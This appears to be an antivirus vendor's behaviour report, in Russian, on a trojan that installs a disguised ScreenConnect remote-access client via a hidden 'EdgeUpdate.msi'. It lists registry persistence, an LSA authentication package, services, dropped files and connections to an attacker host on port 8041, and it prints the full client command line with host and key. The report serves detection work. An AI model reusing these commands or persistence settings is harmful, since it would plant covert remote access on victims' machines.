Trojan.Siggen32.27015

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-478ddca68de48759\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (478ddca68de48759)\ScreenConnect.WindowsClient.exe" "%1"'
[HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\ScreenConnect Client (478ddca68de48759)\ScreenConnect.WindowsAuthenticationPackage.dll'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (478ddca68de48759)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (478ddca68de48759)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (478ddca68de48759)\ScreenConnect.ClientService.exe" "?e...

Создает следующие сервисы

'ScreenConnect Client (478ddca68de48759)' %ProgramFiles(x86)%\ScreenConnect Client (478ddca68de48759)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=harrismanlieb.ink&p=8041&s=de54a763-0268-4b34-9c60-51dabb2efab7&k=BgIAAACkAABSU...

Изменения в файловой системе

Создает следующие файлы

%LOCALAPPDATA%\edgeupdate.msi
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\<Имя файла>.exe.log
%TEMP%\msi6b8c.tmp
%TEMP%\msi6b8c.tmp-\screenconnect.installeractions.dll
%TEMP%\msi6b8c.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi6b8c.tmp-\microsoft.deployment.windowsinstaller.package.dll
%TEMP%\msi6b8c.tmp-\screenconnect.core.dll
%TEMP%\msi6b8c.tmp-\screenconnect.windows.dll
%TEMP%\msi6b8c.tmp-\microsoft.deployment.compression.dll
%TEMP%\msi6b8c.tmp-\microsoft.deployment.compression.cab.dll
%TEMP%\msi6b8c.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df9453b9fec4682dc0.tmp
%WINDIR%\installer\sourcehash{5720c569-2d9a-2510-e3c4-1de66388950e}
%WINDIR%\temp\~dfc9a81e7b9b00e7f6.tmp
%WINDIR%\temp\~df5160161b2641e947.tmp
%WINDIR%\temp\~df443a5d5d87b0c1be.tmp
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.windowsauthenticationpackage.dll
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.windowsbackstageshell.exe
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.windowsbackstageshell.exe.config
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.windowscredentialprovider.dll
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.windowsfilemanager.exe
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.windowsfilemanager.exe.config
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\app.config
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\client.resources
%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\system.config
%WINDIR%\installer\{5720c569-2d9a-2510-e3c4-1de66388950e}\defaulticon
%WINDIR%\temp\~df77ecb4c33613b86e.tmp
%WINDIR%\temp\~dfc97e649ce24619da.tmp
%WINDIR%\temp\~df45b67c259917f840.tmp
%WINDIR%\temp\~df86d65ddbee942d0a.tmp
%WINDIR%\temp\~df5fa0ba2e15fa1a3a.tmp
%WINDIR%\temp\~dfd9f6b41193b80f92.tmp
%WINDIR%\temp\~df3f4af6b7b554edc7.tmp
%WINDIR%\temp\~df2ce4fb72a965d30a.tmp
%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (478ddca68de48759)\vfyg14ps.newcfg
%TEMP%\content\3736-3904-screenconnect.windowsclient.exe-13-10-33-986.dump
%TEMP%\content\3736-3904-screenconnect.windowsclient.exe-13-10-34-196.dump
%TEMP%\content\3736-3904-screenconnect.windowsclient.exe-13-10-34-303.dump
%WINDIR%\temp\content\3424-2208-screenconnect.windowsclient.exe-01-15-44-132.dump
%WINDIR%\temp\content\3424-2208-screenconnect.windowsclient.exe-01-15-44-186.dump
%WINDIR%\temp\content\3424-2208-screenconnect.windowsclient.exe-01-15-44-201.dump

Удаляет файлы, которые сам же создал

%TEMP%\msi6b8c.tmp-\customaction.config
%TEMP%\msi6b8c.tmp-\microsoft.deployment.compression.cab.dll
%TEMP%\msi6b8c.tmp-\microsoft.deployment.compression.dll
%TEMP%\msi6b8c.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi6b8c.tmp-\microsoft.deployment.windowsinstaller.package.dll
%TEMP%\msi6b8c.tmp-\screenconnect.core.dll
%TEMP%\msi6b8c.tmp-\screenconnect.installeractions.dll
%TEMP%\msi6b8c.tmp-\screenconnect.windows.dll
%TEMP%\msi6b8c.tmp

Перемещает следующие файлы

%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (478ddca68de48759)\vfyg14ps.newcfg в %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (478ddca68de48759)\user.config

Сетевая активность

Подключается к

'ha####manlieb.ink':8041

TCP

Другие

'ha####manlieb.ink':8041

UDP

DNS ASK ha####manlieb.ink

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=harrismanlieb.ink&p=8041&s=de54a763-0268-4b34-9c60-51dabb2efab7&k=BgIAAACkAABSU0ExAAgAAAEAAQDl57VAFbmQToGcjQSsvXN%2fEOyfaYLX7rCPbi4uZHvxrHDP5Wb50TxiCSGMlcB%2fb3C2uNXvBuvQtv...
'%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.windowsclient.exe' "RunRole" "2dd0d7a7-0ad5-4d7a-a3b9-58c9d4af9bea" "User"
'%ProgramFiles(x86)%\screenconnect client (478ddca68de48759)\screenconnect.windowsclient.exe' "RunRole" "252c1392-96db-4186-9eb2-7ffa3796263a" "System"

Запускает на исполнение

'%WINDIR%\syswow64\msiexec.exe' /i "%LOCALAPPDATA%\EdgeUpdate.msi" (со скрытым окном)
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSI6B8C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_880109 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments